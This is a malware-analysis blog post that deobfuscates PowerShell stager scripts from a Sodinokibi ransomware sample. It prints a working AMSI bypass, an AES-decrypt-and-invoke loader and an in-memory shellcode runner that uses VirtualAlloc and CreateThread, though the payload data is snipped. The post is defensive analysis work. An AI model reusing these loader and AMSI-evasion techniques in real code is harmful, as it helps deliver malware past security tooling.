Home Malware Analysis About

Sodinokibi PowerShell Stagers

The sample that this post explores is 3c392225a76bfde1e5939a05258758d3e93948a961076b977b888921ff19ac15. As I am writing this introduction after finishing the analysis, I can foreshadow some of the upcoming topics. This sample uses a few PowerShell methods to dynamically call the WinAPI as well as a fancy way of actually executing the final thread...

Stage 1

Below is the initial sample, I have removed the base64 as it was HUGE:

[Scriptblock]$qvfyxui = {
function vbqiuydiny($zlpzghgxedzvmhgc, $sjpknmnzzxcizfowtjo, $fcpnfsibxxtxzlsfhrd) {
    $oqyyayshtq=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    $oqyyayshtq.Mode="CBC";
    $oqyyayshtq.Padding = "Zeros";
    $oqyyayshtq.BlockSize = 128;
    $oqyyayshtq.KeySize = 256;
    $oqyyayshtq.IV = $sjpknmnzzxcizfowtjo;
    $oqyyayshtq.Key = $zlpzghgxedzvmhgc;
    $ojgftohxosbxfyg=$oqyyayshtq.CreateDecryptor();
    $oqgurklvocgrqcb=$ojgftohxosbxfyg.TransformFinalBlock($fcpnfsibxxtxzlsfhrd, 0, $fcpnfsibxxtxzlsfhrd.Length);
    return [System.Text.Encoding]::UTF8.GetString($oqgurklvocgrqcb).Trim([char]0)
}

$dwtugeayovmjwpkyfqy = "Jmjk[..SNIP..]yfqy);
$sjpknmnzzxcizfowtjo = "nBNgcQqN408u/YsCrTyVcA==";
$sjpknmnzzxcizfowtjo = [System.Convert]::FromBase64String($sjpknmnzzxcizfowtjo);
$zlpzghgxedzvmhgc = "tpV6xqv5R60WhuQe4gJlhyJ7iM7fwckNKdfa4noguCI="
$zlpzghgxedzvmhgc = [System.Convert]::FromBase64String($zlpzghgxedzvmhgc);
$oqgurklvocgrqcb = vbqiuydiny $zlpzghgxedzvmhgc $sjpknmnzzxcizfowtjo $dwtugeayovmjwpkyfqy;
iex $oqgurklvocgrqcb;
}

[Scriptblock]$hnyhsylgfrvesqusqbn = {
    try{
        [ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils').GetField('amsi'+'InitFailed', 'NonPublic,Static').SetValue($null, $true)
    }catch{}
}

if ([IntPtr]::Size -ne 4)
{
    throw 'You ar'+'e running x64 ve'+'rsion of powershe'+'ll. Run x32 v'+'ersion to make it wor'+'k'
    exit
}

$qttwsjp = [runspacefactory]::CreateRunspace()
$qttwsjp.ApartmentState = "STA"
$qttwsjp.ThreadOptions = "ReuseThread"
$qttwsjp.Open()
$vmeip = [PowerShell]::Create()
$vmeip.Runspace = $qttwsjp
$vmeip.AddScript($hnyhsylgfrvesqusqbn) | out-null
$vmeip.BeginInvoke() | out-null

Start-Sleep -s 5

function ztnkydjh{
    $jsmkx = ((Get-Variable MyInvocation -Scope 1).Value).MyCommand.Path
    if (-NOT($jsmkx)){
      $jsmkx = $PSCommandPath
    }
    return $jsmkx
}
$jsmkx = ztnkydjh

$bwxsfkaushhpwstwern =[runspacefactory]::CreateRunspace()
$bwxsfkaushhpwstwern.ApartmentState = "STA"
$bwxsfkaushhpwstwern.ThreadOptions = "ReuseThread"
$bwxsfkaushhpwstwern.Open()
$fywanzmfwvlyuchzvr = [PowerShell]::Create()
$fywanzmfwvlyuchzvr.Runspace = $bwxsfkaushhpwstwern
$fywanzmfwvlyuchzvr.AddScript($qvfyxui) | out-null
$fywanzmfwvlyuchzvr.BeginInvoke() | out-null

while($true){
    Start-Sleep -s 120
}

Theres a load of AES stuff here, the first function:

[Scriptblock]$qvfyxui = {
function vbqiuydiny($zlpzghgxedzvmhgc, $sjpknmnzzxcizfowtjo, $fcpnfsibxxtxzlsfhrd) {
    $oqyyayshtq=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    $oqyyayshtq.Mode="CBC";
    $oqyyayshtq.Padding = "Zeros";
    $oqyyayshtq.BlockSize = 128;
    $oqyyayshtq.KeySize = 256;
    $oqyyayshtq.IV = $sjpknmnzzxcizfowtjo;
    $oqyyayshtq.Key = $zlpzghgxedzvmhgc;
    $ojgftohxosbxfyg=$oqyyayshtq.CreateDecryptor();
    $oqgurklvocgrqcb=$ojgftohxosbxfyg.TransformFinalBlock($fcpnfsibxxtxzlsfhrd, 0, $fcpnfsibxxtxzlsfhrd.Length);
    return [System.Text.Encoding]::UTF8.GetString($oqgurklvocgrqcb).Trim([char]0)
}

Because of the New-Object being created for AesCryptoServiceProvider, the functions purpose is revealed. Creating a copy of the file and then renaming stuff:

function AESDecrypt($key, $iv, $encrypted) {
    $AESObject=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    $AESObject.Mode="CBC";
    $AESObject.Padding = "Zeros";
    $AESObject.BlockSize = 128;
    $AESObject.KeySize = 256;
    $AESObject.IV = $iv;
    $AESObject.Key = $key;
    $Decryptor=$AESObject.CreateDecryptor();
    $DecryptedByteArray=$Decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length);
    return [System.Text.Encoding]::UTF8.GetString($DecryptedByteArray).Trim([char]0)
}

$dwtugeayovmjwpkyfqy in the original sample contains a huge amount of encrypted data in base64. The snipped line:

$dwtugeayovmjwpkyfqy = "Jmjk[..SNIP..]yfqy);

This can be renamed to:

$EncryptedData = "Jmjk[..SNIP..]yfqy);

The next line does some decryption:

$EncryptedData = [System.Convert]::FromBase64String($EncryptedData);

It then decrypts and invokes the data:

$EncryptedData = [System.Convert]::FromBase64String($EncryptedData);
$iv = "nBNgcQqN408u/YsCrTyVcA==";
$iv = [System.Convert]::FromBase64String($iv);
$key = "tpV6xqv5R60WhuQe4gJlhyJ7iM7fwckNKdfa4noguCI="
$key = [System.Convert]::FromBase64String($key);
$DecryptedByteArray = AESDecrypt $key $iv $EncryptedData;
iex $DecryptedByteArray;

However, this is all wrapped up in a codeblock which isn't execute just yet:

[Scriptblock]$qvfyxui

Renaming it to match its purpose:

[Scriptblock]$InvokeEncryptedData

The next code block is an AMSI Bypass:

[Scriptblock]$hnyhsylgfrvesqusqbn = {
    try{
        [ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils').GetField('amsi'+'InitFailed', 'NonPublic,Static').SetValue($null, $true)
    }catch{}
}

This bypass was found by Matt Graeber and was posted on Twitter. Essentially, this snippet just tells AMSI that the initialisation failed, hence the $true on the AmsiInitFailed.

Now that the code blocks are sorted, the actual execution can occur:

if ([IntPtr]::Size -ne 4)
{
    throw 'You ar'+'e running x64 ve'+'rsion of powershe'+'ll. Run x32 v'+'ersion to make it wor'+'k'
    exit
}

$qttwsjp = [runspacefactory]::CreateRunspace()
$qttwsjp.ApartmentState = "STA"
$qttwsjp.ThreadOptions = "ReuseThread"
$qttwsjp.Open()
$vmeip = [PowerShell]::Create()
$vmeip.Runspace = $qttwsjp
$vmeip.AddScript($AMSIBypass) | out-null
$vmeip.BeginInvoke() | out-null

Start-Sleep -s 5

function ztnkydjh{
    $jsmkx = ((Get-Variable MyInvocation -Scope 1).Value).MyCommand.Path
    if (-NOT($jsmkx)){
      $jsmkx = $PSCommandPath
    }
    return $jsmkx
}
$jsmkx = ztnkydjh

$bwxsfkaushhpwstwern =[runspacefactory]::CreateRunspace()
$bwxsfkaushhpwstwern.ApartmentState = "STA"
$bwxsfkaushhpwstwern.ThreadOptions = "ReuseThread"
$bwxsfkaushhpwstwern.Open()
$fywanzmfwvlyuchzvr = [PowerShell]::Create()
$fywanzmfwvlyuchzvr.Runspace = $bwxsfkaushhpwstwern
$fywanzmfwvlyuchzvr.AddScript($InvokeEncryptedData) | out-null
$fywanzmfwvlyuchzvr.BeginInvoke() | out-null

while($true){
    Start-Sleep -s 120
}

First off, it checks for x86:

if ([IntPtr]::Size -ne 4)
{
    throw 'You ar'+'e running x64 ve'+'rsion of powershe'+'ll. Run x32 v'+'ersion to make it wor'+'k'
    exit
}

If the architecture matches, it will create a runspace and a new powershell instance to add the AMSI Bypass:

$RunSpace = [runspacefactory]::CreateRunspace()
$RunSpace.ApartmentState = "STA"
$RunSpace.ThreadOptions = "ReuseThread"
$RunSpace.Open()
$PowerShellInstance = [PowerShell]::Create()
$PowerShellInstance.Runspace = $RunSpace
$PowerShellInstance.AddScript($AMSIBypass) | out-null
$PowerShellInstance.BeginInvoke() | out-null

I have no idea what this next part does, but nothing returns:

function ztnkydjh{
    $jsmkx = ((Get-Variable MyInvocation -Scope 1).Value).MyCommand.Path
    if (-NOT($jsmkx)){
      $jsmkx = $PSCommandPath
    }
    return $jsmkx
}
$jsmkx = ztnkydjh

The output:

$jsmkx is never actually used again. Moving on, another set of runspaces and instances is created. I renamed them to be:

$PayloadRunSpace =[runspacefactory]::CreateRunspace()
$PayloadRunSpace.ApartmentState = "STA"
$PayloadRunSpace.ThreadOptions = "ReuseThread"
$PayloadRunSpace.Open()
$PayloadInstance = [PowerShell]::Create()
$PayloadInstance.Runspace = $PayloadRunSpace
$PayloadInstance.AddScript($InvokeEncryptedData) | out-null
$PayloadInstance.BeginInvoke() | out-null

The full execution process boils down to:

$AMSIRunSpace = [runspacefactory]::CreateRunspace()
$AMSIRunSpace.ApartmentState = "STA"
$AMSIRunSpace.ThreadOptions = "ReuseThread"
$AMSIRunSpace.Open()
$AMSIInstance = [PowerShell]::Create()
$AMSIInstance.Runspace = $AMSIRunSpace
$AMSIInstance.AddScript($AMSIBypass) | out-null
$AMSIInstance.BeginInvoke() | out-null

Start-Sleep -s 5

$PayloadRunSpace =[runspacefactory]::CreateRunspace()
$PayloadRunSpace.ApartmentState = "STA"
$PayloadRunSpace.ThreadOptions = "ReuseThread"
$PayloadRunSpace.Open()
$PayloadInstance = [PowerShell]::Create()
$PayloadInstance.Runspace = $PayloadRunSpace
$PayloadInstance.AddScript($InvokeEncryptedData) | out-null
$PayloadInstance.BeginInvoke() | out-null

while($true){
    Start-Sleep -s 120
}

Its quite clever to create a new instance and runspace for the AMSI Bypass and the payload, it seperates the flow and it would be interesting to see how these pairings are seen from a logging perspective.

References:

  1. RunspaceFactory.CreateRunspace Method
  2. PowerShell.Create Method

My favourite part about working with scripting malware is I can just remove the execution and print the bytes of the malware:

function AESDecrypt($key, $iv, $encrypted) {
    $AESObject=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    $AESObject.Mode="CBC";
    $AESObject.Padding = "Zeros";
    $AESObject.BlockSize = 128;
    $AESObject.KeySize = 256;
    $AESObject.IV = $iv;
    $AESObject.Key = $key;
    $Decryptor=$AESObject.CreateDecryptor();
    $DecryptedByteArray=$Decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length);
    return [System.Text.Encoding]::UTF8.GetString($DecryptedByteArray).Trim([char]0)
}

$EncryptedData = "";
$EncryptedData = [System.Convert]::FromBase64String($EncryptedData);
$iv = "nBNgcQqN408u/YsCrTyVcA==";
$iv = [System.Convert]::FromBase64String($iv);
$key = "tpV6xqv5R60WhuQe4gJlhyJ7iM7fwckNKdfa4noguCI="
$key = [System.Convert]::FromBase64String($key);
$DecryptedByteArray = AESDecrypt $key $iv $EncryptedData;
write-host $DecryptedByteArray

This will now just return and print:

Stage 2

This is an even bigger file:

function gacdd{
    param($ijym)
    function exgzb{
        Param(
            [Parameter( Position = 0, Mandatory = 0 )]
            [String]$klgr,
            [Parameter( Position = 1, Mandatory = 0 )]
            [String]$renz
        )

        $anzt = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('Sys'+'tem.dll')}
        $gmqv = $anzt.GetType('Mic'+'rosof'+'t.Win'+'32.Uns'+'afeN'+'ativeMe'+'thods')
        $klgrHandle = $gmqv.GetMethod('GetModuleHandle')
        $sikv = $gmqv.GetMethod('Ge'+'tProcAdd'+'ress', [reflection.bindingflags] ("Pub"+"lic"+",Stat"+"ic"), $moqj, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $moqj);
        $jscc = $klgrHandle.Invoke($moqj, @($klgr))
        $mkix = New-Object IntPtr
        $jhrv = New-Object System.Runtime.InteropServices.HandleRef($mkix, $jscc)
        return $sikv.Invoke($moqj, @([System.Runtime.InteropServices.HandleRef]$jhrv, $renz))
    }

    function kesrp{
        Param(
            [Parameter( Position = 0)]
            [Type[]]$qspw = (New-Object Type[](0)),
            [Parameter( Position = 1 )]
            [Type]$qgok = [Void]
        )

        $bold = [AppDomain]::CurrentDomain
        $crsm = New-Object System.Reflection.AssemblyName('Re'+'flect'+'edDeleg'+'ate')
        $sjkc = $bold.DefineDynamicAssembly($crsm, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $klgrBuilder = $sjkc.DefineDynamicModule('InM'+'emor'+'yModul'+'e', $lgfk)
        $wviu = $klgrBuilder.DefineType('M'+'yDelega'+'teTyp'+'e', 'Cla'+'ss, Publ'+'ic, S'+'ealed,'+' Ansi'+'Clas'+'s, AutoC'+'lass', [System.MulticastDelegate])
        $vnhi = $wviu.DefineConstructor('RTSpec'+'ialName, '+'HideBy'+'Sig'+', Pub'+'lic', [System.Reflection.CallingConventions]::Standard, $qspw)
        $vnhi.SetImplementationFlags('Ru'+'ntim'+'e, M'+'anage'+'d')
        $fyyp = $wviu.DefineMethod('Inv'+'oke', 'Pu'+'bli'+'c, H'+'ide'+'BySig'+', New'+'S'+'lot,'+' V'+'irt'+'ua'+'l', $qgok, $qspw)
        $fyyp.SetImplementationFlags('Run'+'time,'+' Mana'+'ged')
        return $wviu.CreateType()
    }

    function kvame ([IntPtr] $xpzp, [IntPtr] $yuyj, [Int] $iyvo){
        $iawg = $iyvo / 8

        function ConvertTo-LittleEndian ([IntPtr] $iogj){
            $trlc = New-Object Byte[](0)
            $iogj.ToString("X$($iawg*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $trlc += [Byte] ('0x{0}' -f $_) } }
            [System.Array]::Reverse($trlc)
            return $trlc
        }

        $lpyz = New-Object Byte[](0)

        if ($iawg -eq 8){
            [Byte[]] $lpyz = 0x48,0xB8
            $lpyz += ConvertTo-LittleEndian $xpzp
            $lpyz += 0xFF,0xD0
            $lpyz += 0x6A,0x00
            $lpyz += 0x48,0xB8
            $lpyz += ConvertTo-LittleEndian $yuyj
            $lpyz += 0xFF,0xD0
        }
        else{
            [Byte[]] $lpyz = 0xB8
            $lpyz += ConvertTo-LittleEndian $xpzp
            $lpyz += 0xFF,0xD0
            $lpyz += 0x6A,0x00
            $lpyz += 0xB8
            $lpyz += ConvertTo-LittleEndian $yuyj
            $lpyz += 0xFF,0xD0
        }
        return $lpyz
    }

function wgwrn{
        $xpzpess = $xxhu.Invoke([IntPtr]::Zero, $ijym.Length + 1, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($ijym, 0, $xpzpess, $ijym.Length)
        $yuyj = exgzb kernel32.dll ExitThread

        $lpyz = kvame $xpzpess $yuyj 32

        $lpyzAddress = $xxhu.Invoke([IntPtr]::Zero, $lpyz.Length + 1, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($lpyz, 0, $lpyzAddress, $lpyz.Length)
        $krox = $ekbj.Invoke([IntPtr]::Zero, 0, $lpyzAddress, $xpzpess, 0, [IntPtr]::Zero)
        $nook.Invoke($krox, 0xFFFFFFFF) | Out-Null
    }


    $xxhuAddr = exgzb kernel32.dll ('Virt'+'ualA'+'lloc')
    $xxhuDelegate = kesrp @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
    $xxhu = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xxhuAddr, $xxhuDelegate)
    $ekbjAddr = exgzb kernel32.dll ("C"+"reat"+"eT"+"hre"+"ad")
    $ekbjDelegate = kesrp @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
    $ekbj = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ekbjAddr, $ekbjDelegate)
    $nookAddr = exgzb kernel32.dll ("Wa"+"it"+"ForSi"+"ngl"+"eObje"+"ct")
    $nookDelegate = kesrp @([IntPtr], [Int32]) ([Int])
    $nook = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nookAddr, $nookDelegate)

    wgwrn
}

$mkcf = "e800[..SNIP..]00000"
$ijym = [byte[]] -split ($mkcf -replace '..', '0x$& ')
gacdd $ijym

This one is a lot more intelligent. It starts off by using nested functions, the overarching one is gacdd which is called once at the end:

$ijym = [byte[]] -split ($mkcf -replace '..', '0x$& ')
gacdd $ijym

So I guess this can be called ExecutePayload.

Within that function, the first nested one appears several times:

$yuyj = exgzb kernel32.dll ExitThread
$xxhuAddr = exgzb kernel32.dll ('Virt'+'ualA'+'lloc')
$ekbjAddr = exgzb kernel32.dll ("C"+"reat"+"eT"+"hre"+"ad")

Those types of calls, mixed with this GetProcAddress resolution give the purpose of the function away:

$sikv = $gmqv.GetMethod('Ge'+'tProcAdd'+'ress', [reflection.bindingflags] ("Pub"+"lic"+",Stat"+"ic"), $moqj, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $moqj);

The full function:

function exgzb{
    Param(
        [Parameter( Position = 0, Mandatory = 0 )]
        [String]$klgr,
        [Parameter( Position = 1, Mandatory = 0 )]
        [String]$renz
    )

    $anzt = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('Sys'+'tem.dll')}
    $gmqv = $anzt.GetType('Mic'+'rosof'+'t.Win'+'32.Uns'+'afeN'+'ativeMe'+'thods')
    $klgrHandle = $gmqv.GetMethod('GetModuleHandle')
    $sikv = $gmqv.GetMethod('Ge'+'tProcAdd'+'ress', [reflection.bindingflags] ("Pub"+"lic"+",Stat"+"ic"), $moqj, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $moqj);
    $jscc = $klgrHandle.Invoke($moqj, @($klgr))
    $mkix = New-Object IntPtr
    $jhrv = New-Object System.Runtime.InteropServices.HandleRef($mkix, $jscc)
    return $sikv.Invoke($moqj, @([System.Runtime.InteropServices.HandleRef]$jhrv, $renz))
}

This is dynamically resolving more WINAPI Calls. The rest of the function I have discussed before in a blog called Cobalt Strike PowerShell Execution.

The next function looks complicated, but its not so bad:

function kesrp{
    Param(
        [Parameter( Position = 0)]
        [Type[]]$qspw = (New-Object Type[](0)),
        [Parameter( Position = 1 )]
        [Type]$qgok = [Void]
    )

    $bold = [AppDomain]::CurrentDomain
    $crsm = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $sjkc = $bold.DefineDynamicAssembly($crsm, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $DLLNameBuilder = $sjkc.DefineDynamicModule('InMemoryModule', $lgfk)
    $wviu = $DLLNameBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $vnhi = $wviu.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $qspw)
    $vnhi.SetImplementationFlags('Runtime, Managed')
    $fyyp = $wviu.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $qgok, $qspw)
    $fyyp.SetImplementationFlags('Runtime, Managed')
    return $wviu.CreateType()
}

This is doing the cast to delegate, which can be seen here:

$xxhuAddr = ResolveFunction kernel32.dll ('VirtualAlloc')
$xxhuDelegate = GetDelegate @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$xxhu = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xxhuAddr, $xxhuDelegate)
$ekbjAddr = ResolveFunction kernel32.dll ("CreateThread")
$ekbjDelegate = GetDelegate @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$ekbj = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ekbjAddr, $ekbjDelegate)
$nookAddr = ResolveFunction kernel32.dll ("WaitForSingleObject")
$nookDelegate = GetDelegate @([IntPtr], [Int32]) ([Int])
$nook = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nookAddr, $nookDelegate)

$xxhuAddr is the address of the function, then $xxhuDelegate is the actual delegated function. Once that has been done, it then calls wgwrn:

function wgwrn{
        $xpzpess = $xxhu.Invoke([IntPtr]::Zero, $ijym.Length + 1, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($ijym, 0, $xpzpess, $ijym.Length)
        $yuyj = exgzb kernel32.dll ExitThread

        $lpyz = kvame $xpzpess $yuyj 32

        $lpyzAddress = $xxhu.Invoke([IntPtr]::Zero, $lpyz.Length + 1, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($lpyz, 0, $lpyzAddress, $lpyz.Length)
        $krox = $ekbj.Invoke([IntPtr]::Zero, 0, $lpyzAddress, $xpzpess, 0, [IntPtr]::Zero)
        $nook.Invoke($krox, 0xFFFFFFFF) | Out-Null
    }

Lets break this down:

$xpzpess = $xxhu.Invoke([IntPtr]::Zero, $ijym.Length + 1, 0x3000, 0x40)

$xxhu is VirtualAlloc. I know this because 0x300 equals MEM_COMMIT|MEM_RESERVE, and 0x40 is PAGE_EXECUTEREADWRITE. So, this variable can ne renamed:

$baseAddress = $virtualAlloc.Invoke([IntPtr]::Zero, $data1.Length + 1, 0x3000, 0x40)

This is further confirmed by the following line which calls Marshal.Copy():

[System.Runtime.InteropServices.Marshal]::Copy($ijym, 0, $xpzpess, $ijym.Length)

Some renaming later, the function becomes:

function AllocateCopyWait{
        $baseAddress = $virtualAlloc.Invoke([IntPtr]::Zero, $data1.Length + 1, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($data1, 0, $baseAddress, $data1.Length)
        $yuyj = ResolveFunction kernel32.dll ExitThread

        $data2 = kvame $baseAddress $yuyj 32

        $data2Address = $virtualAlloc.Invoke([IntPtr]::Zero, $data2.Length + 1, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($data2, 0, $data2Address, $data2.Length)
        $krox = $createThread.Invoke([IntPtr]::Zero, 0, $data2Address, $baseAddress, 0, [IntPtr]::Zero)
        $waitForSingleObject.Invoke($krox, 0xFFFFFFFF) | Out-Null
    }


    $virtualAllocAddr = ResolveFunction kernel32.dll ('VirtualAlloc')
    $virtualAllocDelegate = GetDelegate @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
    $virtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($virtualAllocAddr, $virtualAllocDelegate)
    $createThreadAddr = ResolveFunction kernel32.dll ("CreateThread")
    $createThreadDelegate = GetDelegate @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
    $createThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($createThreadAddr, $createThreadDelegate)
    $waitForSingleObjectAddr = ResolveFunction kernel32.dll ("WaitForSingleObject")
    $waitForSingleObjectDelegate = GetDelegate @([IntPtr], [Int32]) ([Int])
    $waitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waitForSingleObjectAddr, $waitForSingleObjectDelegate)

    AllocateCopyWait
}

The interesting part is the kvame function in the middle of the execution flow:

function kvame ([IntPtr] $xpzp, [IntPtr] $yuyj, [Int] $iyvo){
    $iawg = $iyvo / 8

    function ConvertTo-LittleEndian ([IntPtr] $iogj){
        $trlc = New-Object Byte[](0)
        $iogj.ToString("X$($iawg*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $trlc += [Byte] ('0x{0}' -f $_) } }
        [System.Array]::Reverse($trlc)
        return $trlc
    }

    $lpyz = New-Object Byte[](0)

    if ($iawg -eq 8){
        [Byte[]] $lpyz = 0x48,0xB8
        $lpyz += ConvertTo-LittleEndian $xpzp
        $lpyz += 0xFF,0xD0
        $lpyz += 0x6A,0x00
        $lpyz += 0x48,0xB8
        $lpyz += ConvertTo-LittleEndian $yuyj
        $lpyz += 0xFF,0xD0
    }
    else{
        [Byte[]] $lpyz = 0xB8
        $lpyz += ConvertTo-LittleEndian $xpzp
        $lpyz += 0xFF,0xD0
        $lpyz += 0x6A,0x00
        $lpyz += 0xB8
        $lpyz += ConvertTo-LittleEndian $yuyj
        $lpyz += 0xFF,0xD0
    }
    return $lpyz
}

Some renaming later I got it to:

function GetCallBaseAddressBytes ([IntPtr] $baseAddress, [IntPtr] $exitThreadAddress, [Int] $iyvo){
    $iawg = $iyvo / 8

    function ConvertTo-LittleEndian ([IntPtr] $iogj){
        $trlc = New-Object Byte[](0)
        $iogj.ToString("X$($iawg*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $trlc += [Byte] ('0x{0}' -f $_) } }
        [System.Array]::Reverse($trlc)
        return $trlc
    }

    $data2 = New-Object Byte[](0)

    if ($iawg -eq 8){
        [Byte[]] $data2 = 0x48,0xB8
        $data2 += ConvertTo-LittleEndian $baseAddress
        $data2 += 0xFF,0xD0
        $data2 += 0x6A,0x00
        $data2 += 0x48,0xB8
        $data2 += ConvertTo-LittleEndian $exitThreadAddress
        $data2 += 0xFF,0xD0
    }
    else{
        [Byte[]] $data2 = 0xB8
        $data2 += ConvertTo-LittleEndian $baseAddress
        $data2 += 0xFF,0xD0
        $data2 += 0x6A,0x00
        $data2 += 0xB8
        $data2 += ConvertTo-LittleEndian $exitThreadAddress
        $data2 += 0xFF,0xD0
    }
    return $data2
}

It takes in the first output from VirtualAlloc, a pointer to ExitThread and 32. Then it divides 32 by 8 to get 4.

This is used in the same way as the IntPtr.Size architecture is:

if ($iawg -eq 8){
    [Byte[]] $data2 = 0x48,0xB8
    $data2 += ConvertTo-LittleEndian $baseAddress
    $data2 += 0xFF,0xD0
    $data2 += 0x6A,0x00
    $data2 += 0x48,0xB8
    $data2 += ConvertTo-LittleEndian $exitThreadAddress
    $data2 += 0xFF,0xD0
}
else{
    [Byte[]] $data2 = 0xB8
    $data2 += ConvertTo-LittleEndian $baseAddress
    $data2 += 0xFF,0xD0
    $data2 += 0x6A,0x00
    $data2 += 0xB8
    $data2 += ConvertTo-LittleEndian $exitThreadAddress
    $data2 += 0xFF,0xD0
}

However, 32 is passed so it will always be 4. Meaning it will hit the else. It also has a nested function called ConvertTo-LittleEndian:

function ConvertTo-LittleEndian ([IntPtr] $iogj){
    $trlc = New-Object Byte[](0)
    $iogj.ToString("X$($iawg*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $trlc += [Byte] ('0x{0}' -f $_) } }
    [System.Array]::Reverse($trlc)
    return $trlc
}

This also goes back to stage 1 where it HAD to be x86. A common technique for identifying architecture is getting the size of an IntPtr. In the following screenshot, [IntPtr]::size is written to the screen in an x86 PowerShell process:

BUT! Thats not what it is for. "X$($iawg*2)" transforms to X8 which is then passed into ToString() and it sets the format. Once that is done, it splits out the input into pairs of two and prepends 0x. This is a really interesting technique and I want to discuss it in a seperate post. But essentially, its taking the pointer to the beginning of the allocate memory for the payload, setting it as the parameter and then it will set the entry point of the thread to be a jump to the parameter.

So, after all that it allocates, writes, creates a thread and waits:

$data2Address = $virtualAlloc.Invoke([IntPtr]::Zero, $data2.Length + 1, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($data2, 0, $data2Address, $data2.Length)
$hThread = $createThread.Invoke([IntPtr]::Zero, 0, $data2Address, $baseAddress, 0, [IntPtr]::Zero)
$waitForSingleObject.Invoke($hThread, 0xFFFFFFFF) | Out-Null

WaitForSingleObject is set to 0xFFFFFFFF which means INFINITE, so this will likely be the execution step.

But I cannot just dump the contents because it looks like the fancy += byte section is doing some sort of jmp? I'm not sure. Looking at the createThread parameters, it passes a parameter to the thread:

$hThread = $createThread.Invoke([IntPtr]::Zero, 0, $data2Address, $baseAddress, 0, [IntPtr]::Zero)

The function structure:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

lpParameter is the original virtualAlloc output. My understanding here is that the lpStartAddress of the thread is the fancy bytes in the mysterious function will act as a jmp to the actual execution. My theory here is built on my understanding of threading parameters and the fact you can do stuff like this:

HANDLE hThread1 = ::CreateThread(nullptr, 0, DoWork, &d, 0, nullptr);

Where d is a generic struct:

struct Data {
    int x, y;
    int sum;
    int product;
};

Additionally, the actual size allocated is $data1. So, it should be fine to just dump that:

function AllocateCopyWait{
        $baseAddress = $virtualAlloc.Invoke([IntPtr]::Zero, $data1.Length + 1, 0x3000, 0x40)
        [System.Runtime.InteropServices.Marshal]::Copy($data1, 0, $baseAddress, $data1.Length)
        $exitThreadAddress = ResolveFunction kernel32.dll ExitThread

        $data2 = CheckArchAndConvertToLittleEndian $baseAddress $exitThreadAddress 32

        $data2Address = $virtualAlloc.Invoke([IntPtr]::Zero, $data2.Length + 1, 0x3000, 0x40)
        Set-Content -Path out.txt -value $data1
        # [System.Runtime.InteropServices.Marshal]::Copy($data2, 0, $data2Address, $data2.Length)
        # $hThread = $createThread.Invoke([IntPtr]::Zero, 0, $data2Address, $baseAddress, 0, [IntPtr]::Zero)
        # $waitForSingleObject.Invoke($hThread, 0xFFFFFFFF) | Out-Null
    }

Doing so creates a file containing 125829 lines, which is a good sign(?). Looking through the CyberChef output, rdata is spotted as well as the DOS Message:

Loading it up in HXD, there appears to be a lot of crap before the MZ:

Removing this appears to be okay:

Stage 3

This appears to be a DLL as well as being compiled to 32-bit:

Some example strings:

Before going into this, i'll sandbox it.

any.run

Letting this run on any.run, reveals it to be ransomware:

 

Reading the full report, it tells me that it is Sodinokibi:

